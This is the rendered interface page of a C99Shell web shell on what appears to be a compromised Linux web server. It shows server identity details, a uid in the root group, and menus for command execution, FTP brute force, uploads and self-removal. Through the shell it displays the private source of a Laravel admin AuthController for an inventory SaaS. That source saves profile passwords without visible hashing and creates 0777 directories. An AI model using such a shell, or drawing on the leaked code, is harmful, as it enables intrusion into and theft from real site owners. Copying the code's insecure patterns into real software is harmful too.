!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.02 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuthController.php (5.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Admin\Tenant;
use 
App\Models\Plan;
use 
App\Models\Setting;
use 
App\Models\Admin\TenantPlan;
use 
App\Models\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Artisan;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Str;

class 
AuthController extends Controller
{
    public function 
login()
    {
        return 
view('admin.auth.login');
    }

    public function 
authenticate(Request $request)
    {
        
$request->validate([
            
'email'=>'required|email',
            
'password'=>'required'
        
]);

        
$remember_me=isset($request->remember_me)?true:false;

        
$isAuth=auth('admin')->attempt($request->only('email','password'),$remember_me);
        if(
$isAuth){
            return 
redirect()->route('admin.dashboard');
        }

        return 
redirect()->back()->withErrors(['msg'=>'Invalid email or password'])->withInput();

    }

    public function 
registration()
    {
        return 
view('admin.auth.registration');
    }

    public function 
createTenant()
    {
        
$tenant Tenant::create([
            
'plan' => 'free',
        ]);

        
$tenant->domains()->create([
            
'domain' => 'foo.localhost',
        ]);

        
$tenant->run(function (Tenant $t){
            
$storage_path storage_path();
            
mkdir("$storage_path/framework/cache"0777true);
            
Artisan::call("tenants:seed --tenants=".$t->id);
            
Artisan::call("passport:keys");
        });

        
dd("created");
    }

    public function 
logout(){
        
auth('admin')->logout();
        return 
redirect()->route('admin.login')->with('success','Logout successfully');
    }

    public function 
getSubDomain($storeName) {
        
$username Str::slug($storeName,'');
        
$userRows  DB::table('domains')->select('id')->where("domain","REGEXP","^$username([0-9]*)?")->get();
        
$countUser count($userRows) + 1;
        return (
$countUser 1) ? "{$username}{$countUser}$username;
    }

    public function 
store(Request  $request){
        
$request->validate([
            
'store_name'=>'required',
            
'email'=>'required',
            
'password'=>'required',
        ]);
        
$plan=Plan::first();
        
$host=parse_url(env('APP_URL'))['host'];
        
$subDomain $this->getSubDomain($request->store_name);
        
$domain "{$subDomain}.{$host}";

        
\DB::transaction(function () use ($request$plan,$domain,$subDomain) {

            
$tenant Tenant::create([
                
'plan' => '' $plan->id,
                
'store_name' => $request->store_name,
                
'email' => $request->email,
            ]);

            
$expired_date=null;
            if(
$plan->recurring_type=='monthly'){
                
$expired_datenow()->addMonth();
            }elseif (
$plan->recurring_type=='semiyearly'){
                
$expired_datenow()->addMonths(6);
            }elseif (
$plan->recurring_type=='yearly'){
                
$expired_datenow()->addYear();
            }

            
$tenantPlan = new TenantPlan();
            
$tenantPlan->tenant_id $tenant->id;
            
$tenantPlan->plan_id $plan->id;
            
$tenantPlan->start_date now();
            
$tenantPlan->expired_date =$expired_date;
            
$tenantPlan->cost $plan->cost;
            
$tenantPlan->sms_limit $plan->sms_limit;
            
$tenantPlan->payment_status 'unpaid';
            
$tenantPlan->save();

            
$tenant->domains()->create([
                
'domain' => $domain,
            ]);
            
$request['sub_domain'] = $subDomain;

            
$tenant->run(function (Tenant $t) use ($request) {
                
$storage_path storage_path();
                
mkdir("$storage_path/framework/cache"0777true);
                
Artisan::call("tenants:seed --tenants=" $t->id);
                
Artisan::call("passport:keys");
                
$storeName explode(' 'strtolower($request->store_name));
                
$firstName $storeName[0];
                unset(
$storeName[0]);
                
$lastName implode(' '$storeName);
                
DB::statement("SET FOREIGN_KEY_CHECKS=0;");
                
User::truncate();
                
User::insert(
                    array(
                        
'id' => 1,
                        
'firstname' => $firstName,
                        
'lastname' => $lastName,
                        
'username' => $request->sub_domain,
                        
'email' => $request->email,
                        
'password' => bcrypt($request->password),
                        
'avatar' => 'no_avatar.png',
                        
'phone' => '',
                        
'role_id' => 1,
                        
'statut' => 1,
                        
'is_all_warehouses' => 1,
                    )
                );
                
Setting::where('id'1)->update(['tenant_id' => $t->id]);
                
DB::statement("SET FOREIGN_KEY_CHECKS=1;");
            });
        });
        return 
redirect()->to('/login')->domain($domain);
    }

    public function 
profileEdit(){
        
$data['user']=auth('admin')->user();
        return 
view('admin.profile',$data);
    }

    public function 
profileUpdate(Request  $request){
        
$request->validate([
           
'name'=>'required',
           
'email'=>'required',
           
'password'=>'required',
        ]);
       
$user=auth('admin')->user();
       
$user->update($request->only('name','email','password'));

       return 
redirect()->back()->with('success','Profile Updated Successfully');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--